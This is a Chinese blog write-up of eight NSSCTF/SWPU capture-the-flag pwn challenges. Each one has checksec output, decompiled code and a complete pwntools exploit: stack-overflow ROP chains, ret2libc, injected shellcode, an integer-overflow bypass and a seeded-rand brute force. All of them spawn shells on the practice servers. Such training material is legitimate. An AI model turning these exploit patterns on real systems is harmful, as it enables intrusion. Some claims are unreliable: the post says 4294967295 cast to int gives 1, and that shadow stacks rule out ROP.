NSSCTF中的SWPU刷题记录

[GFCTF 2021]where_is_shell

checksec一下

1
2
3
4
5
6
Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

64位程序,有NX保护,栈不可执行,无法使用shellcode

查看源代码:

1
2
3
4
5
6
7
8
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[16]; // [rsp+0h] [rbp-10h] BYREF

system("echo 'zltt lost his shell, can you find it?'");
read(0, buf, 0x38uLL);
return 0;
}

明显的栈溢出。

看到有system函数,可以想到调用system(“/bin/sh”)

尝试寻找”/bin/sh”串:

1
ROPgadget --binary shell --string "/bin/sh"

没有找到,那怎么办?

这里就需要一个新的知识点调用system(0)也可以达到拿到shell的效果

因为栈不可执行,所以我们不能写入0,只能找现有的。

查看函数tips():

1
2
3
4
__int64 tips()
{
return MEMORY[0x403569]();
}

查看汇编,发现这里有一段机器码为:24 30 这个机器码对应着$0

1
.text:0000000000400540 E8 24 30 00 00                 call    near ptr 403569h

所以可以调用地址:0x400541来当作$0

偏移量:0x10 + 0x8

寻找system(),pop_rdi和ret的地址:

1
2
(gdb)p &system
$1 = (<text variable, no debug info> *) 0x400430 <system@plt>
1
2
ROPgadget --binary shell --only "pop|ret" | grep rdi
0x00000000004005e3 : pop rdi ; ret
1
2
3
4
5
6
ROPgadget --binary shell --only "ret"
Gadgets information
============================================================
0x0000000000400416 : ret

Unique gadgets found: 1

可知system函数,pop_rdi和ret的地址分别是0x400430,0x4005e3,0x400416

构造exp:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context.log_level = 'debug'
p = remote("node4.anna.nssctf.cn",28234)
offset = 0x10 + 0x8
system_addr = 0x400430
ret_addr = 0x400416
sh_addr = 0x400541
pop_rdi = 0x4005e3
payload = offset * b'a' + p64(pop_rdi) + p64(sh_addr) + p64(ret_addr) + p64(system_addr)
p.sendline(payload)
p.interactive()

执行代码,拿到shell

[NSSCTF 2022 Spring Recruit]R3m4ke?

checksec一下:

1
2
3
4
5
6
Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

64位程序,NX开启,栈不可执行。

IDA查看源码

1
2
3
4
5
6
7
8
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE v4[32]; // [rsp+0h] [rbp-20h] BYREF

init(argc, argv, envp);
NSS();
return gets(v4);
}

明显栈溢出。

NSS函数就是显示一些无用信息,查看函数列表发现有个后门函数LookAtMe:

1
2
3
4
int LookAtMe()
{
return system("/bin/sh");
}

直接给了shell,那就很好办了

偏移量:0x20 + 0x8

查找LookAtMe和ret的地址

1
2
(gdb)p &LookAtMe
$1 = (<text variable, no debug info> *) 0x40072c <LookAtMe>
1
2
3
4
5
6
ROPgadget --binary r3m4ke1t --only "ret"
Gadgets information
============================================================
0x000000000040057e : ret

Unique gadgets found: 1

地址分别是:0x40072c,0x40057e

构造exp:

1
2
3
4
5
6
7
8
9
from pwn import *
context.log_level = 'debug'
p = remote("node4.anna.nssctf.cn",28397)
offset = 0x20 + 0x8
sh_addr = 0x40072c
ret_addr = 0x40057e
payload = offset * b'a' + p64(ret_addr) + p64(sh_addr)
p.sendline(payload)
p.interactive()

执行程序拿到shell。

[SWPUCTF 2022 新生赛]有手就行的栈溢出

checksec一下:

1
2
3
4
5
6
7
8
Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled #影子堆栈备份返回地址,函数返回时进行校验,防止ROP攻击
IBT: Enabled #间接分支跟踪,要求所有简介跳转的目标必须是一条函数指令。防止JOP/COP攻击
Stripped: No

64位二进制程序,NX开启,无法使用shellcode。SHSTK和IBT开启,无法使用ROP,JOP和COP攻击

查看源码:

1
2
3
4
5
6
7
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
puts(s);
overflow();
return 0;
}
1
2
3
4
5
6
7
__int64 overflow()
{
_BYTE v1[32]; // [rsp+0h] [rbp-20h] BYREF

gets(v1);//危险函数,引发栈溢出
return 0LL;
}
1
2
3
4
5
6
__int64 gift()
{
puts("Are you kidding?");
puts("system('/bin/sh')");
return 0LL;
}
1
2
3
4
5
6
7
8
int fun()
{
char *argv[2]; // [rsp+0h] [rbp-10h] BYREF

argv[0] = "/bin/sh";
argv[1] = 0LL;
return execve("/bin/sh", argv, 0LL);
}

可以看到main函数调用了overflow函数,该函数包含危险函数gets,会导致引发栈溢出

存在两个后门:gift和fun。gift是一个假的调用shell的函数,而fun是真的,利用execve调用shell。

execve系统调用会用新的程序映像完全替换当前进程的内存空间,包括影子栈。这意味着在成功调用execve的瞬间,旧的、受保护的执行环境就被全新的环境所取代,影子栈的防御也就不复存在了,所以当看到有SHSTK保护机制时,利用系统调用execve是一个非常好的策略,本题是拿了一个简单的例子作为举例

计算偏移量:0x20 + 0x8

查找fun函数的地址:0x401257

1
2
pwndbg> p fun
$1 = {<text variable, no debug info>} 0x401257 <fun>

查找ret地址:

1
2
3
4
5
6
ROPgadget --binary pwn --only "ret"
Gadgets information
============================================================
0x000000000040101a : ret

Unique gadgets found: 1

查找到地址:0x40101a

编写exp:

1
2
3
4
5
6
7
8
9
from pwn import *
context.log_level = 'debug'
p = remote('node5.anna.nssctf.cn',21716)
offset = 0x20 + 0x8
fun_addr = 0x401257
ret_addr = 0x40101a
payload = offset * b'a' + p64(ret_addr) + p64(fun_addr)
p.sendline(payload)
p.interactive()

执行程序,成功拿到了shell

[SWPUCTF 2021 新生赛]whitegive_pwn

checksec 一下

1
2
3
4
5
6
Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

64位程序,NX保护开启

查看源码:

1
2
3
4
5
6
__int64 vuln()
{
_BYTE v1[16]; // [rsp+0h] [rbp-10h] BYREF

return gets(v1);
}

看了一圈,没有system也没有/bin/sh

考虑用ret2libc求解

思路:利用puts函数泄露puts函数的真实地址(函数在got表中的地址),计算libc基地址后找到system和/bin/sh的地址

第一步:泄漏puts的真实地址

构造payload:

1
payload1 = offset * b'a' + p64(pop_rdi) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(main_addr)

64位的程序,函数的前6个参数存放在寄存器里。

1
pop rdi ; ret

这条汇编是将栈上下一个值(puts在got表中的地址)弹入rdi寄存器,ret跳转栈上指定的下一个地址(puts_plt_addr的值,因为在栈上被放在了puts_got_addr的后面)。汇编代码执行完后,下一个就是返回地址。所以返回main函数继续执行第二次攻击。

所以先写一个泄漏puts真实地址的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
p = remote("node7.anna.nssctf.cn",28828)
elf = ELF('./white_give')
offset = 0x10 + 0x8
puts_plt_addr = elf.plt['puts']
puts_got_addr = elf.got['puts']
main_addr = 0x4006d6
pop_rdi = 0x400763
ret_addr = 0x400509
payload1 = offset * b'a' + p64(pop_rdi) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(main_addr)
p.sendline(payload1)
puts_addr = p.recvline()
print(puts_addr)
p.interactive()

拿到输出结果:

1
b'\xa0\x86\xc5_k\x7f\n'

处理输出结果:

1
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

找到libc正确版本:

1
libc = LibcSearcher("puts", puts_addr)

偏移地址:

1
2
3
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
p = remote("node7.anna.nssctf.cn",28828)
elf = ELF('./white_give')
offset = 0x10 + 0x8
puts_plt_addr = elf.plt['puts']
puts_got_addr = elf.got['puts']
main_addr = 0x4006d6
pop_rdi = 0x400763
ret_addr = 0x400509
payload1 = offset * b'a' + p64(pop_rdi) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(main_addr)
p.sendline(payload1)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
payload2 = offset * b'a' + p64(pop_rdi) + p64(bin_sh_addr) + p64(ret_addr) + p64(system_addr)
p.sendline(payload2)
p.interactive()

这道题远程环境有问题,本地能打通但是远程打不通……

[SWPUCTF 2022 新生赛]shellcode?

Checksec 一下:

1
2
3
4
5
6
7
8
Arch:       amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

64位程序,NX,PIE,SHSTK,IBT均开启,地址随机化,无法注入shellcode,ROP攻击无效。

查看源代码:

1
2
3
4
5
6
7
8
9
10
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
mmap((void *)0x30303000, 0x1000uLL, 7, 50, -1, 0LL);
//在地址0x30303000创建内存映射,7表示RWX即可读可写可执行的内存区域
read(0, (void *)0x30303000, 0x64uLL);
//在该内存区域可以注入任意可执行的代码
MEMORY[0x30303000]();//执行内存中的代码
return 0;
}

分析代码可得,虽然NX保护开启,但是代码在内存中创建了一个具有RWX权限的新区域,绕过了NX检查,read函数和后面将内存区域当作函数进行调用的语句说明我们注入任意可执行代码的可行性。

思路:注入shellcode

编写exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
REMOTE_HOST = 'node5.anna.nssctf.cn' # 如果远程,替换为IP
REMOTE_PORT = 28411 # 替换为端口
shellcode = asm(shellcraft.sh())#shellcode自动生成

# 填充至100字节(NOP滑板或补零)
shellcode = shellcode.ljust(100, b'\x90')
p = remote(REMOTE_HOST, REMOTE_PORT)

# 发送shellcode并交互
p.send(shellcode)
p.interactive() # 获得shell或直接输出flag

执行程序,拿到flag

[SWPUCTF 2022 新生赛]Integer Overflow

checksec一下:

1
2
3
4
5
6
7
8
Arch:       i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

32位程序,NX开启,SHSTK开启,无法使用shellcode和ROP攻击

查看源代码:

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(&argc);
puts("Ohhhh you choose pwn!?");
printf("\x1B[32m Do you want to pwn the world with me!?\n\x1B[0m");
overflow();
return 0;
}

调用的函数overflow打开查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int overflow()
{
int v1; // [esp+Ch] [ebp-Ch] BYREF

puts("1.yes");
puts("2.no");
printf("Tell me your choice:");
__isoc99_scanf("%d", &v1);
if ( v1 != 1 )
{
if ( v1 == 2 )
choice2();
elsechoice();
}
choice1();
return 0;
}

貌似没什么问题,查看别的函数看看?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ssize_t choice1()
{
_BYTE buf[20]; // [esp+8h] [ebp-20h] BYREF
size_t nbytes[2]; // [esp+1Ch] [ebp-Ch] BYREF

printf("\x1B[36m Good luck!!!\n\x1B[0m");
printf("\x1B[5m Tell me your name now!\n\x1B[0m");
printf("First input the length of your name:");
__isoc99_scanf("%u", nbytes);
if ( (int)nbytes[0] > 10 )
{
printf("\x1B[31m Are u kidding??\n\x1B[0m");
exit(-1);
}
printf("\x1B[36m What's u name?\n\x1B[0m");
return read(0, buf, nbytes[0]);
}

这里发现问题了:size_t类型的无符号整数nbytes[0]输入后,会被转换成int类型与10进行比较,但是如果nbytes很大,在转换成int之后会发生回绕(因为int的范围只在-2147483648~2147483647之间)从而导致绕过检查。(整数溢出漏洞)

当nbytes[0]的值是2147483647*2+1 =4294967295 时,转换成int类型之后会变成1。这样会绕过(int)nbytes[0]>10的检查,但是read调用的仍然是size_t类型的无符号整数,所以read函数允许输入的字节长度就变成了4294967295,很轻松的构造出了栈溢出的条件。

exp编写:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.log_level = 'debug'
p = remote('node5.anna.nssctf.cn',21302)
offset = 0x20 + 0x4
system_addr = 0x8049100
binsh_addr = 0x0804a008
p.recvuntil(b'choice:')
p.sendline(b'1') #不能写成p.sendline(1),因为pwntools不能发送纯数字
p.sendlineafter('name:','4294967295')
payload = offset * b'a' + p32(system_addr) + p32(0) + p32(binsh_addr)
p.sendline(payload)
p.interactive()

执行程序,拿到shell

[SWPUCTF 2022 新生赛]Darling

查看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __fastcall main(int argc, const char **argv, const char **envp)
{
_DWORD v4[2]; // [rsp+Ch] [rbp-14h] BYREF
int v5; // [rsp+14h] [rbp-Ch]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]

v6 = __readfsqword(0x28u);
init(argc, argv, envp);
pic();
darling();
puts("There may be many uncertainties in the world, but the only certainty is my love for you.\n");
v4[1] = 20020819;
srand(0x1317E53u); //设定固定的随机数种子,使得随机数也固定了
v5 = rand() % 100 - 64; //v5可能值的范围只在-64~35之间
__isoc99_scanf("%d", v4);//猜对了就能拿到flag
if ( v5 == v4[0] )
backdoor();
else
puts("Oh :( , you didn't get my love");
return 0;
}

backdoor函数直接把shell给我们了

1
2
3
4
int backdoor()
{
return system("/bin/sh");
}

分析代码,发现随机数是固定的,这是个伪随机数,所以只要枚举每个可能的值就可以了

Exp查找符合的值:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context.log_level = 'debug'
for v5 in range(-64,36):
p = remote('node5.anna.nssctf.cn',20135)
p.sendline(str(v5).encode())
response = p.recvline()
if b'Oh :(' not in response:
rand = v5
break
print(rand)
p.close()

暴力枚举,最后发现17符合条件,输入拿到flag

[SWPUCTF 2023 秋季新生赛]签到

checksec一下

1
2
3
4
5
6
7
8
Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

64位程序,NX开启,SHSTK和IBT开启。

查看源代码

1
2
3
4
5
6
7
ssize_t vuln()
{
_BYTE buf[48]; // [rsp+0h] [rbp-30h] BYREF

printf("input:");
return read(0, buf, 0xC8uLL);
}

有后门:

1
2
3
4
int backdoor()
{
return system("/bin/sh");
}

明显是栈溢出。

偏移量:0x30 + 0x8

backdoor的地址:0x401232

1
2
objdump -t sign | grep backdoor
0000000000401232 g F .text 0000000000000017 backdoor

ret的地址:0x40101a

1
2
3
4
5
6
ROPgadget --binary sign --only "ret"
Gadgets information
============================================================
0x000000000040101a : ret

Unique gadgets found: 1

编写exp:

1
2
3
4
5
6
7
8
9
from pwn import *
context.log_level = 'debug'
p = remote('node4.anna.nssctf.cn',28288)
offset = 0x30 + 0x8
ret_addr = 0x40101a
backdoor_addr = 0x401232
payload = offset * b'a' + p64(ret_addr) + p64(backdoor_addr)
p.sendline(payload)
p.interactive()

执行程序拿到shell,真是签到题啊这么简单。


NSSCTF中的SWPU刷题记录
https://www.ghostfoxy.cn/2025/11/16/SWPU/
作者
Gh0stF0xy
发布于
2025年11月16日
更新于
2025年11月19日
许可协议